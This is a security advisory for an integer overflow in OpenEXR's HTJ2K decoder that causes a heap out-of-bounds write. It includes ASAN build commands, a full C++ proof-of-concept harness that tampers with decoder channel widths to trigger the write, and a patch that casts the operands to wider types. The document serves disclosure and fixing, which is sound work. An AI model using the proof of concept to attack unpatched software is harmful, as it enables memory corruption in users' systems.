Skip to content

GHSA-777r-f9x8-7r84

CVE Information

## Summary

An integer overflow in ht_undo_impl() in src/lib/OpenEXRCore/internal_ht.cpp leads to a heap-buffer-overflow when decoding a crafted HTJ2K-compressed EXR file.

## Details

At line 188-189, decode->channels[i].width (int32_t) is multiplied by decode->channels[i].bytes_per_element (int8_t) in 32-bit signed arithmetic. When width >= 536870912 with FLOAT channels (bpe=4), the product exceeds INT32_MAX, causing signed integer overflow. The overflowed value is stored in raster_line_offset and later used as a pointer offset at line 313, resulting in an out-of-bounds write past the heap-allocated decompression buffer.

The same overflow pattern exists at two additional locations: - Line 215-216: bpl accumulator (the existing bpl > INT32_MAX check at line 221 is ineffective because it validates the already-overflowed result) - Line 281-282: line_pixels pointer advancement

This is a variant of the same width * bytes_per_element int32 overflow pattern fixed in CVE-2026-34378 through CVE-2026-34589 for other codecs (unpack, DWA, PIZ), but the HTJ2K decoder was missed in that fix wave.

## Impact

  • CWE-190 (Integer Overflow) leading to CWE-787 (Out-of-bounds Write)
  • ASAN confirmation: heap-buffer-overflow WRITE of size 4 at internal_ht.cpp:317, 0 bytes after a 2048-byte heap allocation
  • CVSS 3.1: AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H (6.1 Medium)

## Reproduction

Build (ASAN + NDEBUG): cmake .. -DCMAKE_BUILD_TYPE=Release -DCMAKE_C_FLAGS_RELEASE="-O1 -g -DNDEBUG -fsanitize=address -fno-omit-frame-pointer" -DCMAKE_CXX_FLAGS_RELEASE="-O1 -g -DNDEBUG -fsanitize=address -fno-omit-frame-pointer" -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address"

The attached harness (harness_openexr_ht_asan.cpp) writes a valid 256x1 2-channel FLOAT HTJ2K EXR, initializes a decode pipeline, sets decoder.channels[c].width = 536870913, then calls exr_decoding_run().

## Suggested Fix

Cast operands to size_t / int64_t before multiplication at all three locations (patch attached):

-            computedoffset += decode->channels[i].width *
-                              decode->channels[i].bytes_per_element;
+            computedoffset += (size_t) decode->channels[i].width *
+                              (size_t) decode->channels[i].bytes_per_element;

Patch verified: ASAN finding eliminated, 63/63 core tests pass
(including testHTChannelMap).

Credit

Reporter: storm / rhwnsdyd1112@gmail.com

---
## Harness (harness_openexr_ht_asan.cpp)

<details>
<summary>Click to expand</summary>

```cpp
/*
 * ASAN harness: OpenEXR HTJ2K integer overflow -> heap-buffer-overflow
 * Target: src/lib/OpenEXRCore/internal_ht.cpp:188 -> line 313
 *
 * Strategy:
 *   1. Write a valid 256x1 2-channel FLOAT HTJ2K EXR
 *   2. Open and initialize decode pipeline (channels get width=256)
 *   3. Tamper decoder.channels[c].width to 536870913 (triggers int32 overflow)
 *   4. Run decode: J2K decompression succeeds (data is valid 256px),
 *      but raster_line_offset is computed from overflowed width
 *      -> OOB write at line 313 -> ASAN heap-buffer-overflow
 *
 * Build requirement: OpenEXR compiled with -fsanitize=address -DNDEBUG
 *   (NDEBUG removes the debug assert at line 291 that would mask the OOB)
 */
#include <openexr.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

static void err_handler(exr_const_context_t ctxt, int code, const char* msg)
{
    (void)ctxt;
    fprintf(stderr, "[EXR ERROR %d] %s\n", code, msg);
}

static int write_valid_htj2k_exr(const char* filename)
{
    exr_context_t wctxt = NULL;
    exr_context_initializer_t winit;
    exr_result_t rv;
    int part_index = 0;
    exr_attr_box2i_t datawin = { {0, 0}, {255, 0} };
    exr_attr_box2i_t dispwin = { {0, 0}, {255, 0} };
    exr_encode_pipeline_t encoder;
    exr_chunk_info_t cinfo;
    float g_pixels[256];
    float r_pixels[256];

    memset(&winit, 0, sizeof(winit));
    winit.error_handler_fn = err_handler;

    rv = exr_start_write(&wctxt, filename, EXR_WRITE_FILE_DIRECTLY, &winit);
    if (rv != EXR_ERR_SUCCESS) {
        fprintf(stderr, "[-] exr_start_write failed: %d\n", rv);
        return -1;
    }

    rv = exr_add_part(wctxt, "main", EXR_STORAGE_SCANLINE, &part_index);
    if (rv != EXR_ERR_SUCCESS) goto fail;

    rv = exr_set_compression(wctxt, part_index, EXR_COMPRESSION_HTJ2K256);
    if (rv != EXR_ERR_SUCCESS) goto fail;

    rv = exr_set_lineorder(wctxt, part_index, EXR_LINEORDER_INCREASING_Y);
    if (rv != EXR_ERR_SUCCESS) goto fail;

    rv = exr_set_pixel_aspect_ratio(wctxt, part_index, 1.0f);
    if (rv != EXR_ERR_SUCCESS) goto fail;

    {
        exr_attr_v2f_t swc = {0.0f, 0.0f};
        rv = exr_set_screen_window_center(wctxt, part_index, &swc);
        if (rv != EXR_ERR_SUCCESS) goto fail;
    }

    rv = exr_set_screen_window_width(wctxt, part_index, 1.0f);
    if (rv != EXR_ERR_SUCCESS) goto fail;

    rv = exr_set_data_window(wctxt, part_index, &datawin);
    if (rv != EXR_ERR_SUCCESS) goto fail;
    rv = exr_set_display_window(wctxt, part_index, &dispwin);
    if (rv != EXR_ERR_SUCCESS) goto fail;

    rv = exr_add_channel(wctxt, part_index, "G", EXR_PIXEL_FLOAT,
                         EXR_PERCEPTUALLY_LOGARITHMIC, 1, 1);
    if (rv != EXR_ERR_SUCCESS) goto fail;
    rv = exr_add_channel(wctxt, part_index, "R", EXR_PIXEL_FLOAT,
                         EXR_PERCEPTUALLY_LOGARITHMIC, 1, 1);
    if (rv != EXR_ERR_SUCCESS) goto fail;

    rv = exr_write_header(wctxt);
    if (rv != EXR_ERR_SUCCESS) goto fail;

    memset(&encoder, 0, sizeof(encoder));

    rv = exr_write_scanline_chunk_info(wctxt, part_index, 0, &cinfo);
    if (rv != EXR_ERR_SUCCESS) goto fail;

    rv = exr_encoding_initialize(wctxt, part_index, &cinfo, &encoder);
    if (rv != EXR_ERR_SUCCESS) goto fail;

    rv = exr_encoding_choose_default_routines(wctxt, part_index, &encoder);
    if (rv != EXR_ERR_SUCCESS) {
        exr_encoding_destroy(wctxt, &encoder);
        goto fail;
    }

    for (int i = 0; i < 256; ++i) {
        g_pixels[i] = (float)i / 256.0f;
        r_pixels[i] = 1.0f - (float)i / 256.0f;
    }

    for (int c = 0; c < encoder.channel_count; ++c) {
        if (strcmp(encoder.channels[c].channel_name, "G") == 0) {
            encoder.channels[c].encode_from_ptr = (const uint8_t*)g_pixels;
            encoder.channels[c].user_pixel_stride = 4;
            encoder.channels[c].user_line_stride = 1024;
        } else {
            encoder.channels[c].encode_from_ptr = (const uint8_t*)r_pixels;
            encoder.channels[c].user_pixel_stride = 4;
            encoder.channels[c].user_line_stride = 1024;
        }
    }

    rv = exr_encoding_run(wctxt, part_index, &encoder);
    if (rv != EXR_ERR_SUCCESS) {
        fprintf(stderr, "[-] exr_encoding_run failed: %d\n", rv);
        exr_encoding_destroy(wctxt, &encoder);
        goto fail;
    }

    exr_encoding_destroy(wctxt, &encoder);
    exr_finish(&wctxt);
    return 0;

fail:
    fprintf(stderr, "[-] Write failed: %d\n", rv);
    exr_finish(&wctxt);
    return -1;
}

int main(void)
{
    const char* filename = "/tmp/ht_asan_poc.exr";
    int32_t overflow_width = 536870913;

    fprintf(stderr, "=== OpenEXR HTJ2K ASAN Harness ===\n");
    fprintf(stderr, "[*] Overflow width: %d\n", overflow_width);
    fprintf(stderr, "[*] width * 4 (int32): %d (overflows)\n",
            (int32_t)((int32_t)overflow_width * (int32_t)4));
    fprintf(stderr, "\n");

    fprintf(stderr, "--- Step 1: Write valid 256x1 HTJ2K EXR ---\n");
    if (write_valid_htj2k_exr(filename) != 0) return 1;
    fprintf(stderr, "[+] Valid EXR written.\n\n");

    fprintf(stderr, "--- Step 2: Open and init decode pipeline ---\n");

    exr_context_t rctxt = NULL;
    exr_context_initializer_t rinit;
    memset(&rinit, 0, sizeof(rinit));
    rinit.error_handler_fn = err_handler;
    rinit.max_image_width  = 0;
    rinit.max_image_height = 0;

    exr_result_t rv = exr_start_read(&rctxt, filename, &rinit);
    if (rv != EXR_ERR_SUCCESS) {
        fprintf(stderr, "[-] exr_start_read failed: %d\n", rv);
        return 1;
    }

    exr_chunk_info_t cinfo;
    rv = exr_read_scanline_chunk_info(rctxt, 0, 0, &cinfo);
    if (rv != EXR_ERR_SUCCESS) {
        fprintf(stderr, "[-] exr_read_scanline_chunk_info failed: %d\n", rv);
        exr_finish(&rctxt);
        return 1;
    }

    fprintf(stderr, "[*] Chunk: width=%d height=%d unpacked=%llu\n",
            cinfo.width, cinfo.height,
            (unsigned long long)cinfo.unpacked_size);

    exr_decode_pipeline_t decoder;
    memset(&decoder, 0, sizeof(decoder));

    rv = exr_decoding_initialize(rctxt, 0, &cinfo, &decoder);
    if (rv != EXR_ERR_SUCCESS) {
        fprintf(stderr, "[-] exr_decoding_initialize failed: %d\n", rv);
        exr_finish(&rctxt);
        return 1;
    }

    rv = exr_decoding_choose_default_routines(rctxt, 0, &decoder);
    if (rv != EXR_ERR_SUCCESS) {
        fprintf(stderr, "[-] exr_decoding_choose_default_routines failed: %d\n",
rv);
        exr_decoding_destroy(rctxt, &decoder);
        exr_finish(&rctxt);
        return 1;
    }

    fprintf(stderr, "[*] Pipeline initialized, %d channels:\n",
decoder.channel_count);
    for (int c = 0; c < decoder.channel_count; c++) {
        fprintf(stderr, "[*]   ch%d '%s': width=%d bpe=%d\n",
                c, decoder.channels[c].channel_name,
                decoder.channels[c].width,
                decoder.channels[c].bytes_per_element);
    }

    fprintf(stderr, "\n--- Step 3: Tamper channel widths ---\n");
    for (int c = 0; c < decoder.channel_count; c++) {
        decoder.channels[c].width = overflow_width;
    }
    fprintf(stderr, "[*] All channel widths set to %d\n", overflow_width);
    fprintf(stderr, "[*] int32(width * bpe) = %d (signed overflow)\n",
            (int32_t)((int32_t)overflow_width * (int32_t)4));

    fprintf(stderr, "\n--- Step 4: Run decode (expect ASAN heap-buffer-overflow)
---\n");
    rv = exr_decoding_run(rctxt, 0, &decoder);
    fprintf(stderr, "[*] exr_decoding_run returned: %d\n", rv);

    exr_decoding_destroy(rctxt, &decoder);
    exr_finish(&rctxt);
    return 0;
}

## Patch (fix_ht_overflow.diff)

diff --git a/src/lib/OpenEXRCore/internal_ht.cpp
b/src/lib/OpenEXRCore/internal_ht.cpp
index 12ccea4..12af0f9 100644
--- a/src/lib/OpenEXRCore/internal_ht.cpp
+++ b/src/lib/OpenEXRCore/internal_ht.cpp
@@ -185,8 +185,8 @@ ht_undo_impl (

         size_t computedoffset = 0;
         for (int i = 0; i < file_i; ++i)
-            computedoffset += decode->channels[i].width *
-                              decode->channels[i].bytes_per_element;
+            computedoffset += (size_t) decode->channels[i].width *
+                              (size_t) decode->channels[i].bytes_per_element;
         cs_to_file_ch[cs_i].raster_line_offset = computedoffset;
     }

@@ -213,7 +213,7 @@ ht_undo_impl (
     for (int16_t c = 0; c < decode->channel_count; c++)
     {
         bpl +=
-            decode->channels[c].bytes_per_element * decode->channels[c].width;
+            (int64_t) decode->channels[c].bytes_per_element * (int64_t)
decode->channels[c].width;
         if (decode->channels[c].x_samples > 1 ||
             decode->channels[c].y_samples > 1)
         { is_planar = true; }
@@ -278,8 +278,8 @@ ht_undo_impl (
                         }
                     }

-                    line_pixels += decode->channels[line_c].bytes_per_element *
-                                   decode->channels[line_c].width;
+                    line_pixels += (size_t)
decode->channels[line_c].bytes_per_element *
+                                   (size_t) decode->channels[line_c].width;
                 }
             }
         }